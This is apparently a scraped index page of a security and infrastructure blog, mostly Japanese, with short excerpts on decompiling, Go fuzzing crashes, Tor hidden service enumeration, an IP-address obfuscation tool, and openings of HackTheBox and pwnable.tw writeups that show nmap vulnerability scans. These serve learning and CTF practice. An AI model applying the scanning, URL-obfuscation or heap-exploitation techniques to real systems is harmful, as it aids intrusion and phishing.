retdec とは retdec とはセキュリティ企業のavast社が公開しているデコンパイラです。 詳細はavast社のブログを参照(アバストが自社のマシンコード逆コンパイラをオープンソース化) ちゃんとデコンパイルするのか気になったのでインストールから"Hello, world"をデコンパイルする所まで書きます。実行環境 当記事は下記環境で実行した結果を書いています。$ uname -a Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMP Tue Sep 25 08:59:23 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux $ gcc --version gcc (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609 $ docker -v Docker version 18.06.1-ce, build e68fc7a retdec をインストール dockerを使用してビルドする。 ビルドが終わるまでそこそこ時間がかかるのでコーヒーでも飲んで待っていましょう。$ git clone https://github.com/avast-tl/retdec $ cd retdec $ docker build -t retdec . デコンパイルしてみる ビルドが終わったらデコンパイルできるか試してみます。 まずはサンプルとして"Hello, world"を書きます。#include <stdio.h> int main(int argc, char *argv[]){ printf("Hello, world\n"); return 0; } 次にこのコードをコンパイルします。 一点、注意が必要でretdecはx86-64のコードには対応していません。 なので今回はx86でコンパイルします。

retdecでHello, worldをデコンパイルする

概要 Serverless Framework とはサーバレスなアプリケーションを作成、デプロイが簡単にできるツール。 AWS Lambda や Google Cloud Functions といったFaasの実装や、API Gateway の構成変更が容易にできる。 今回はAPI Gateway経由でAWS Lambdaを呼び出してみる。環境構築 インストール まずは Serverless Frameworkをインストール。$ npm install serverless -g インストールが完了したらデプロイする際に必要なAWSのユーザ情報を作成する。IAMユーザの作成・登録 Serverless Framework をAWSで利用するには色々と権限を付与したユーザを用意する必要がある。 公式でセットアップ手順が記載されているのでその通りにユーザを作成する。AWSのIAM管理コンソールを開く “ユーザを追加"をクリックする 適当にユーザ名を入力する。ここでは"serverless-agent"とする。 “プログラムによるアクセス"にチェックボックスを入れ"次のステップ"をクリック “既存のポリシーを直接アタッチ"から"ポリシーの作成を選択” JSONをクリックし公式で案内しているgistから内容をコピペして上書き ポリシーの確認をクリック 適当にポリシー名を入力する。ここでは"serverless-agent-policy"とする。入力したらポリシーの作成をクリック。 ポリシーが作成されたらユーザを追加の画面に戻ってポリシーをリロード ポリシーから"serverless-agent-policy"を選択して"次のステップ"をクリック 次のステップ: 確認をクリック ユーザの作成をクリック ユーザの作成が成功したらアクセスキーIDとシークレットアクセスキーが表示されるので下記コマンドで Serverless Framework にユーザ情報を登録する。 $ serverless config credentials --provider aws --key <アクセスキーID> --secret <シークレットアクセスキー> これで Serverless Frameworkからサーバレスアプリケーションをデプロイするための準備ができた。アプリケーションの作成 今回はPython 3.7 でアプリケーション(といっても中身はHello world)を作る。 Serverless Framework はslsという短いコマンドから操作できるので、これを用いてアプリケーションを実装していく。

Serverless Framework でHello world

Vuepress とは Vuepress とは Vue で作られた静的サイトジェネレータのこと。 静的サイトジェネレータといえば有名どころはjekyll Hugo などが挙げられる。 Vueで静的にサイトを作るのなら Nuxt.js でも良さそうにも思えるが、Vuepressは技術文書を静的に管理することに焦点を当て作成している。 why-not Vuepress インストール 下記コマンドでインストールできる。$ npm install -g vuepress Vuepress を使ってみる Vuepress はREADME.mdを起点にサイトを生成するようになっている。 実際にどのように動作するか下記のREADME.mdを作成して確認する。# h1 ## h2 ### h3 #### h4 ##### h5 Headers ## List * Item 1 * Item 2 * Item 3 + Item 3-1 + Item 3-2 ## Link [Vuepress](https://vuepress.vuejs.org) README.mdのあるディレクトリで下記コマンドで動作を確認できる。$ vuepress dev HTMLファイル等を生成するには下記コマンドを入力する。$ vuepress build Now とは Nowとは簡単にWebアプリをデプロイできるサービスのこと。 CLIからコマンド一回でデプロイすることができる。 今回作成したサイトをさくっと公開するために使ってみる。 このデプロイの仕方はNow公式でも書かれている。 nowコマンドの使い方

Vuepress で生成したWebサイトを Now にデプロイしてみる

概要 関数呼び出しの解説でよくあるx86プログラムみたいな動きをx64でやってみる環境 $ uname -a Linux ubuntu-xenial 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.3 LTS Release: 16.04 Codename: xenial $ gcc --version gcc (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609 x86でコンパイル まずはx86でのスタックの動きを書く。 まずは下のコードを"stack_test.c"として保存する。void test_func(int a, int b, int c, int d){ int x, y, z; x = a + b; y = c + d; z = x + y; } int main(void){ test_func(1, 2, 3, 4); return 0; } これをコンパイルして"x86"というファイルで保存し、ディスアセンブルする。

x64の関数呼び出し

手順 Windows Updateのセキュリティパッチから差分を撮ってみる 問題となっているCVE番号で https://portal.msrc.microsoft.com/en-us/security-guidance を調べる(今回例としてはCVE-2019-0786について) 当該脆弱性のアドバイザリがあればそれを開く https://portal.msrc.microsoft.com/ja-JP/security-guidance/advisory/CVE-2019-0786 “Secuirty Update"から回答のアップデートをダウンロード msuファイルをダウンロード ダウンロードしたmすふぁいるを展開する wusa.exe C:\installl.msu /extract:c:\test\ またはexpand /f:* C:\install.msu C:\test\ msuファイルを展開して出てきたcabファイルを更に展開 expand -F:* update.cab C:<target_dir> Ghidraで差分を確認 Ghidra Pro book に載っているので要参照 終わり

Extract Windows KB

About Granny GrannyNmap Port scan revelals IIS 6 running on this machine.# nmap -sV -sT -sC -o nmapinitial 10.10.10.15 Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-25 10:55 EST Nmap scan report for 10.10.10.15 Host is up (0.22s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_http-server-header: Microsoft-IIS/6.

HackTheBox Walkthrough - Granny

Links Link Title Note https://domainwat.ch/ DomainWatch Show whois and domains info https://www.similarweb.com/ja SimilarWeb Analyze web site https://myip.ms/ Myip.ms Show IP address or domain’s info https://website.informer.com/ website.informer.com Show web site information https://domainbigdata.com/ DomainBigData Show domains information http://www.ymkp.com/ 域名科普网 Search whois information that focused on Chinese area https://tools.digitalpoint.com/cookie-search Cookie Search Search cookies https://www.shodan.io/ Shodan Search engine for Internet-connected devices https://censys.io/ Censys Search engine for Internet-connected devices https://www.robtex.com/ Robtex Research of IP numbers, Domain names, etc https://otx.

Note - Links for OSINT

内容 下記のコードを見てほしい。package main import ( "encoding/json" "fmt" ) func main() { var JSONDATA = []byte(`{\"\":'AAAA'}`) fmt.Printf("%v\n", JSONDATA) var raw map[string]interface{} err := json.Unmarshal(JSONDATA, &raw) if err != nil { panic(err) } fmt.Printf("%v\n", raw) } JSONをインターフェースにアンマーシャルしている。 これで構造体の中身が可変でもまぁ何とかUnmarshalできる。 では実行してみよう。$ go run main.go panic: invalid character '\\' looking for beginning of object key string goroutine 1 [running]: main.main() /Users/doejohn/work/projects/fuzz_go/fire/json/case2/main.go:13 +0x13c exit status 2 うーむ、エラー内容をみるに本来\"\"として認識する所を\\として認識してエラーが発生しているよう…?ちょっと手を加えてきちんと"とかを認識しているか確認。package main import ( "encoding/json" "fmt" ) func main() { var JSONDATA = []byte(`{\"\":'AAAA'}`) fmt.

Crash JSON in golnag

gif画像をFuzzingして確認したクラッシュケース 下記のコードを見てほしい。package main import ( "bytes" "fmt" "image/gif" "reflect" ) func main() { img, err := gif.DecodeAll(bytes.NewReader([]byte("GIF89a0\x0000000!\xf9\x04\xf9000\x00,0\x000\x00\x00\x000\x00\x80000000\x02\x00;"))) if err != nil { panic(err) } w := new(bytes.Buffer) err = gif.EncodeAll(w, img) if err != nil { panic(err) } img1, err := gif.DecodeAll(w) if err != nil { panic(err) } img1.Disposal = img.Disposal if !reflect.DeepEqual(img, img1) { fmt.Printf("gif0: %#v\n", img) fmt.Printf("gif1: %#v\n", img1) panic("gif changed") } } gif画像をEncodeしてDecodeしてreflect.DeepEqualで内容が一致しているか確認しているコードだ。 一見すると内容は一致してそうだし、特にpanic等に入らずそのまま終了しそうなコードだ。 では結果を見てみよう。

gif画像をFuzzingして確認したクラッシュケース

Tor Hidden Serviceとは Tor Hidden Service(以下 “HS”)とは強固な匿名性を確保するツールTorを用いないとアクセスできないサービスのこと。 末尾が.onionで終わるドメイン名を持つ。 Tor は端末のIPアドレスを隠すことでサービス提供者の匿名性を向上させるツール。 SOCKSプロキシとして動作するため、SOCKSプロトコルのプロキシが対応していればHS自体は別にHTTPサーバでもメールでもSSHでも使える。例: 自宅のラズパイを Tor Onion Service にして外から SSH 接続するTor Hidden Service と証明書 さて、HSはTor Bundle Browser を用いれば簡単にアクセスが可能だ。 有名なHSはFacebookやThe New York Timesが挙げられる。 ここで気になるのが、これらHSがHTTPSを使っていることだ。https://facebookcorewwwi.onion https://www.nytimes3xbfgragh.onionFacebook, hidden services, and https certs上記リンクを参照してもらうとわかる通りHSでも証明書は使える(色々と議論が盛り上がったようだが…)「どうせE2Eで暗号化されているし、PGPなり何なりの署名で検証できるしHTTPSの証明書いるか？」と思う部分もあるものの、表立って活動している企業や団体がHSでサッとなりすましではないことをを示すのには便利なのだろう。そんな事情もあって一部HSでHTTPSが使われているが、このHTTPS通信で使用する証明書も例外なくCertificate Transparency(以下"CT")のログを残している。ここでこんな考えが出てくる。「もしかしてCTログを漁ればHTTPSのHSと紐づいている他のHSやサーバの情報を確認できるのでは？」「✝️闇✝️のサービスのCTログとか発見して、それを元に色々と情報を確認できるのでは？」と言うわけで早速crt.shで.onionドメインと紐づいている証明書を探してみた。crt.sh でクエリかけてみた とりあえず%.onionでクエリをかけてみた。https://crt.sh/?q=%25.onionめっちゃヒットするじゃん…自作したcrt.shでクエリかけるツールでドメインを洗い出してみた.自作したツール: crtsh$ ./crtsh -q %.onion -o | sort | uniq 結果はこちら gistパッと見た感じ普通の企業やら団体ばかりという感じ。 前述した通り「どうせE2Eで暗号化されているし、PGPなり何なりの署名で検証できるしHTTPSの証明書いるか？」と思っている人が存在している中で、企業でも何でもない人が証明書を取得するメリットがない。 証明書発行にはコストがかかるし、認証局に色々と情報を渡さないといけない。 そして何よりHSで大きいトラフィックを抱えているような✝️闇✝️のサービスなんかはそもそも証明書が発行されないだろう(推測)

証明書の発行されたTor Hidden Serviceを探してみた

概要 【GitHub Actions】Go言語の自動テストからリリースまでを作ってみた と GitHub Actions for Go を参考にLinux, Mac, WindowsでGo言語製ツールをテストした。 あとGitHub Actionsのワークフロー構文も参考にした。成果物は下記リンクを参照。https://github.com/famasoon/crtsh/blob/master/.github/workflows/go_test.yml内容は.github/workflows/go_test.ymlの中。name: Run tests on multi environment on: [push, pull_request] jobs: test: strategy: matrix: go-version: [1.12.x, 1.13.x] platform: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.platform }} steps: - name: Install Go uses: actions/setup-go@v1 with: go-version: ${{ matrix.go-version }} - name: Checkout code uses: actions/checkout@v1 - name: Get dependcies run: go get -v -t -d ./... - name: Test run: go test .

GitHub Actionでマルチプラットフォームなテストをした

About Optim OptimNmap Port scan result# nmap -sV -sT -sC --script=vuln -oA nmap_result.txt 10.10.10.8 Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-03 09:55 EST Stats: 0:06:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.32% done; ETC: 10:01 (0:00:02 remaining) Stats: 0:14:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.32% done; ETC: 10:10 (0:00:06 remaining) Nmap scan report for 10.

HackTheBox Walkthrough - Optim

What is NSE Network Script Engine(NSE) can be able to write for automation network scan.About NSE NSE is written by Lua. In Linux, Script locate /usr/local/share/nmap/scripts, and library locate /usr/local/share/nmap/nselib.How to enable NSE Add -sC option run default category NSE option.--script option run the specified directory or script is executed by NSE.Tutorial Run nmap with NSE$ nmap -sC example.com Result# nmap -sC example.com Starting Nmap 7.

About NSE scripts

This post is writeup of the HackTheBox machine created by ch4p.Nmsp Nmap result# nmap -sV -sC --script=vuln 10.10.10.4 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-28 12:27 EDT Nmap scan report for 10.10.10.4 Host is up (0.32s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn |_clamav-exec: ERROR: Script execution failed (use -d to debug) 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds |_clamav-exec: ERROR: Script execution failed (use -d to debug) 3389/tcp closed ms-wbt-server Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization.

HackTheBox Walkthrough - Legacy

This post is writeup of the HackTheBox machine created by ch4p.Nmap Nmap resultStarting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 10:46 EDT Nmap scan report for 10.10.10.3 Host is up (0.29s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.15 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.

HackTheBox Walkthrough - lame

This post is writeup of the HackTheBox machine created by ch4p.Nmap Quick port scan reveals FTP service and web server.# nmap -sC -sV 10.10.10.5 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-15 21:00 EDT Nmap scan report for 10.10.10.5 Host is up (0.28s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM <DIR> aspnet_client | 03-17-17 05:37PM 689 iisstart.

HackTheBox Walkthrough - Devel

はじめに なんとなくGitHubを漁っていたら面白そうなリポジトリを見つけた。https://github.com/OsandaMalith/IPObfuscator 内容はIPアドレスを10進数や16進数、8進数に変換してwebサイトにアクセスするというもの。 バラバラの基数でも最終的にIPアドレスっぽくなればアクセスできるみたい。 そういえば10進数のIPアドレス表記を利用する攻撃活動もありましたね。 悪用ダメ絶対。実装を見てみる https://github.com/OsandaMalith/IPObfuscator/blob/master/ip.c なるほど。 1バイトずつ読んで基数変換しているみたい。実装してみた なんとなくGo言語で実装してみたhttps://github.com/famasoon/go-IPObfuscatorすごく可読性の低いコードになってしまったので後々、修正する。 正直あまり実用性はない。 出力方法も書いておく。$ git clone https://github.com/famasoon/go-IPObfuscator $ cd go-IPObfuscator $ go run main.go Enter IP Address: 222.165.163.91 http://3735397211 http://0xde.0xa5.0xa3.0x5b http://0336.0245.0243.0133 http://0x00000000de.0x00000000a5.0x00000000a3.0x000000005b http://00000000336.00000000245.00000000243.00000000133 http://0xde.0xa5.0xa3.91 http://0xde.0xa5.163.91 http://0xde.165.163.91 http://0336.0245.0243.91 http://0336.0245.163.91 http://0336.165.163.91 http://0xde.0xa5.41819 http://0336.0245.41819 http://0xde.0245.41819 http://0xde.10855259 http://0336.10855259 http://0xde.0xa5.0243.0133 http://0xde.0245.0243.0133 出力されたリンクを踏むとGoogle に飛ぶ。 結構、見た目を変えてもアクセスできるので奥が深い。 おわり

10進数表記のIPアドレスでwebサイトにアクセスする

https://cloud.google.com/container-registry/docs/pushing-and-pulling?hl=ja プライベートなDockerコンテナレジストリが欲しかったので使ってみた。gcloudコマンドのセットアップを終える gcloud auth configure-dockerでDocker Registryの認証をする 下記コマンドでビルド済みのイメージ名にタグ付けをする $ docker tag [任意のイメージ名] gcr.io/[プロジェクトID]/[イメージ名]:[バージョン] 下記コマンドでContainer RegistryにDocker イメージを push $ docker push gcr.io/[プロジェクト名]/[イメージ名]:[バージョン] これで作ったDockerイメージのContainer Registryへpush完了

Container Registry に自分の作ったDockerイメージをpushする

Create Binary Analysis VM I created VM for reverse engineering. This is the note at that time.Install Virtual Box To run VMs needs hypervisor. I choose the Virtual Box. Because, Virtual Box is easy to use and free. To install Virtual Box navigate to the this page. https://www.virtualbox.org/wiki/Downloads You choose the package for your system, and download it. Run the installer. If you are using the mac OS, you can install with this command too.

Create Binary Analysis VM

Environment Windows 10 In VM Attached Windbg How to finding First, show deviceobject structureskd> !drvobj DeviceObj 7 Driver object (ffffa3828a49b060) is for: \Driver\DeviceObj Driver Extension List: (id , addr) Device Object list: ffffa3828c2869f0 DriverEntry: fffff80043a55064 DeviceObj DriverStartIo: 00000000 DriverUnload: fffff800439d1950 DeviceObj AddDevice: 00000000 Dispatch routines: [00] IRP_MJ_CREATE fffff800439d4ff0 DeviceObj+0x4ff0 [01] IRP_MJ_CREATE_NAMED_PIPE fffff800439d4ff0 DeviceObj+0x4ff0 [02] IRP_MJ_CLOSE fffff800439d4ff0 DeviceObj+0x4ff0 [03] IRP_MJ_READ fffff800439d4ff0 DeviceObj+0x4ff0 [04] IRP_MJ_WRITE fffff800439d4ff0 DeviceObj+0x4ff0 [05] IRP_MJ_QUERY_INFORMATION fffff800439d4ff0 DeviceObj+0x4ff0 [06] IRP_MJ_SET_INFORMATION fffff800439d4ff0 DeviceObj+0x4ff0 [07] IRP_MJ_QUERY_EA fffff800439d4ff0 DeviceObj+0x4ff0 [08] IRP_MJ_SET_EA fffff800439d4ff0 DeviceObj+0x4ff0 [09] IRP_MJ_FLUSH_BUFFERS fffff800439d4ff0 DeviceObj+0x4ff0 [0a] IRP_MJ_QUERY_VOLUME_INFORMATION fffff800439d4ff0 DeviceObj+0x4ff0 [0b] IRP_MJ_SET_VOLUME_INFORMATION fffff800439d4ff0 DeviceObj+0x4ff0 [0c] IRP_MJ_DIRECTORY_CONTROL fffff800439d4ff0 DeviceObj+0x4ff0 [0d] IRP_MJ_FILE_SYSTEM_CONTROL fffff800439d4ff0 DeviceObj+0x4ff0 [0e] IRP_MJ_DEVICE_CONTROL fffff800439d5020 DeviceObj+0x5020 [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fffff800439d4ff0 DeviceObj+0x4ff0 [10] IRP_MJ_SHUTDOWN fffff800439d4ff0 DeviceObj+0x4ff0 [11] IRP_MJ_LOCK_CONTROL fffff800439d4ff0 DeviceObj+0x4ff0 [12] IRP_MJ_CLEANUP fffff800439d4ff0 DeviceObj+0x4ff0 [13] IRP_MJ_CREATE_MAILSLOT fffff800439d4ff0 DeviceObj+0x4ff0 [14] IRP_MJ_QUERY_SECURITY fffff800439d4ff0 DeviceObj+0x4ff0 [15] IRP_MJ_SET_SECURITY fffff800439d4ff0 DeviceObj+0x4ff0 [16] IRP_MJ_POWER fffff800439d4ff0 DeviceObj+0x4ff0 [17] IRP_MJ_SYSTEM_CONTROL fffff800439d4ff0 DeviceObj+0x4ff0 [18] IRP_MJ_DEVICE_CHANGE fffff800439d4ff0 DeviceObj+0x4ff0 [19] IRP_MJ_QUERY_QUOTA fffff800439d4ff0 DeviceObj+0x4ff0 [1a] IRP_MJ_SET_QUOTA fffff800439d4ff0 DeviceObj+0x4ff0 [1b] IRP_MJ_PNP fffff800463238f0 nt!

Finding IRP dispatch routine

Golang でAPIサーバを作る Golang + Nuxt.js + Kubernetes でWebサービスを作るシリーズ第一弾。 まずはGolangでシンプルなAPIサーバを作成してみる。今回はGETリクエストで渡されたドメインのwhois情報を取得するAPIサーバを書く。APIサーバのソースコードはGitHubにアップロード済み https://github.com/famasoon/webapp-apiまずは適当なディレクトリを作る。mkdir webapp-api cd webapp-api 次にGoの依存関係を初期化。GO111MODULE=on go mod init 今回はGo言語のEchoというモジュールでHTTPリクエストを、gowhoisでwhois関連の処理を行う。 必要なモジュールをgo getで取得。go get github.com/labstack/echo/... go get -u github.com/famasoon/gowhois 下記のmain.goでAPIサーバを書く。package main import ( "net/http" "github.com/famasoon/gowhois/whois" "github.com/labstack/echo" ) type whoisInfo struct { Domain string `json:"domain"` WhoisResult string `json:"result"` } func main() { e := echo.New() e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "OK") }) e.GET("/api/v1/whois/:domain", getWhoisResult) e.Logger.Fatal(e.Start(":8080")) } func getWhoisResult(c echo.

Golang + Nuxt.js + Kubernetes でWebサービスを作る

tl;dr “/“パスへのHTTPリクエストに対し200ステータスを返すように実装すればよい Ingress のヘルスチェック GKEでIngressを使っていた所ヘルスチェックをうまく通過しない。 色々と調べたところIngressのヘルスチェックはreadinessProbe.httpGetを指定しないと、デフォルトでは”/“パスにHTTP GETリクエストを送信し200ステータスが帰ってこない場合は対象ポッドが動作していないとみなすみたい。 https://github.com/kubernetes/ingress-gce/issues/42readinessProbe.httpGetを指定しても別に良かったが、”/“パスは使っていないし、どうせヘルスチェック用にyamlを書き足しAPIのエンドポイントを作るのだったら、”/“へのリクエストに200返すようなコードを書いておけばいいだろうと思い、下記のGolangコードをエンドポイントに追加して対応した。package main import ( "net/http" "github.com/labstack/echo" "github.com/labstack/echo/middleware" ) func main() { e := echo.New() e.Use(middleware.Logger()) e.Use(middleware.Recover()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "OK") }) e.Logger.Fatal(e.Start(":8080")) } 参考 Ingressというよりk8sの話だが、ヘルスチェックについては下記ドキュメントが参考になったhttps://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/

Ingressのヘルスチェックに対応する

LeetCodeという競技プログラミングサービスがある。 まだ始めたばかりなのだがとっつきやすい作りになっていて良い。 そんなLeetCodeの問題 TwoSum を解いてみた。 ただ解いてみたというのも面白くないので今回はテストコードも書きながら解答してみる。TwoSum 問題はへのリンク https://leetcode.com/problems/two-sum/。 問いは下記の通り。数値の入った配列と整数値targetが与えられるので、配列の中から足すとtargetになる値の組み合わせを見つけ、その要素がどこにあるかを答えよ。 必ず答えは存在するものとする。 また別々の位置の値を必ず使用する事以下に例を書くGiven nums = [2, 7, 11, 15], target = 9,Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1].テストコードを書く コードを弄ってブラウザ上でテストしても問題はないが遅い。 なので今回は手元ですぐに動作するテストコードを書いた。package twosum import ( "reflect" "testing" ) type testCase struct { array []int target int } func TestTwoSum(t *testing.T) { tests := []struct { input testCase output []int }{ {testCase{[]int{2, 7, 11, 15}, 9}, []int{0, 1}}, {testCase{[]int{2, 3, 4, 11, 15}, 6}, []int{0, 2}}, } for i, tt := range tests { sum := twoSum(tt.

LeetCode TwoSum をテストしながら解く

TL;DR: Access to https://tor2web.tld/antanistaticmap/stats/yesterday, you can collect Tor Hidden services URLs that has tor2web users accessed.There is a thing called Tor Hidden Service that can publish service anonymously.I have written an article in Japanese about how to publish Tor Hidden Service.The Tor Hidden Service can not be accessed from a clear network, but can easily be accessed using a proxy called Tor2Web. Tor2WebThe famous Tor2web example:

List up populer Tor hidden service with Tor2Web

三行で Practical Binary Analysis はリバースエンジニアリング入門にはうってつけの本 基本的な演習環境はVMで配布されている Dockerで環境を作るときはバージョンを指定しよう 概要 Practical Binary Analysisはモダンなバイナリ解析について学ぶことができる本。 目次は下記の通り。Chapter 1: Anatomy of a Binary Chapter 2: The ELF Format Chapter 3: The PE Format: A Brief Introduction Chapter 4: Building a Binary Loader Using libbfd Part II: Binary Analysis Fundamentals Chapter 5: Basic Binary Analysis In Linux Chapter 6: Disassembly and Binary Analysis Fundamentals Chapter 7: Simple Code Injection Techniques for ELF Part III: Advanced Binary Analysis Chapter 8: Customizing Disassembly Chapter 9: Binary Instrumentation Chapter 10: Principles of Dynamic Taint Analysis Chapter 11: Practical Dynamic Taint Analysis with libdft Chapter 12: Principles of Symbolic Execution Chapter 13: Practical Symbolic Execution with Triton Part IV: Appendices Appendix A: A Crash Course on x86 Assembly Appendix B: Implementing PT_NOTE Overwriting Using libelf Appendix C: List of Binary Analysis Tools Appendix D: Further Reading 基礎的なディスアセンブラを実装したり、テイント解析やシンボリック実行をやったりと、今からリバースエンジニアリングをするなら抑えておきたい点を実装して手を動かしながら体系的に学ぶことができる。

Practical Binary Analysisの演習用環境をDockerで作った

A good Hacker should always take good notes! nc chall.pwnable.tw 10102Environment $ uname -a Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Check binary securitypwndbg> checksec [*] '/home/vagrant/work/pwnabletw/hacknote/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Findings First, I decompiled some functions using Ghidra.Main routine. AddNote function malloc is called in units of 8 bytes(This chunk is managed by fastbins) DeleteNote Calls the free() but does not store null pointer(Maybe can use Use After Free) PrintNote Execute the value received from the heap as a function.

pwnable.tw hacknote writeup

Read the flag from /home/orw/flag. Only open read write syscall are allowed to use.Environment $ uname -a Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Findings This file is 32bit ELF file.$ file ./orw ./orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped Disassemble result.This file read shellcode and execute it, but since seccomp is used, system calls other than open, read, and write cannot be used.

pwnable.tw orw Writeup

environment $ uname -a Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux $ gdb --version GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.

pwnable.tw start writeup

まえがき ダークウェブについて という記事を読んだ。 内容はダークウェブ、主にTor Hidden Service(以下 “HS”)に的を絞って解説しているものだ。 HSについては先の記事でも書かれているようにTor Bundle Browserを用いれば簡単にアクセスが可能。 有名なHSはFacebookやThe New York Timesが挙げられる。 さて、そんなHSだがアクセスするだけでなくサイトの開設も簡単だったりする。 自分でサーバをたててサイトを開いたことがあれば誰でもできるような内容だ。 早速やってみるとしよう。環境 $ uname -a Linux instance-2 4.10.0-40-generic #44~16.04.1-Ubuntu SMP Thu Nov 9 15:37:44 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.3 LTS Release: 16.04 Codename: xenial Tor のセッティング 何はともあれ Tor をインストールしなければ始まらない。 Ubuntu 16.04 では apt で簡単にインストールできる。$ sudo apt install tor $ sudo systemctl start tor Tor 公式ドキュメントである https://www.

Tor Hidden Service でウェブサイトを公開してみる

シリアルポート経由でカーネルデバッグした時に実施した手順です。VM側のWindowsで実施する手順 Windows上で管理者権限でPowershellを起動 下記コマンドを入力 bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 Windowsをシャットダウン ホスト側のWinodwsで実施する手順 VirtualBoxでVMの設定を開き下記の画像のように設定 “シリアルポートを有効化"にチェックを入れる “ポートモード"を"ホストにパイプ"にする “パス/アドレス"を”\.\pipe\com1"にする VMを起動する ストア からWinDbg Previewをインストールする(なぜか自分の環境ではWDKのWinDbgだとカーネルでバッグをしようにも"debuggee not connected"と表示され使えなかったためWinDbg Previewを使う) WinDbg Preview を開いたら"ファイル"タブから"Attach to kernel"を選択し下記設定をする “Pipe"にチェックを入れる “Reconnect"にチェックを入れる “Port"を”\.\pipe\com1"にする VMを起動 これでカーネルでバッグが実施可能になる。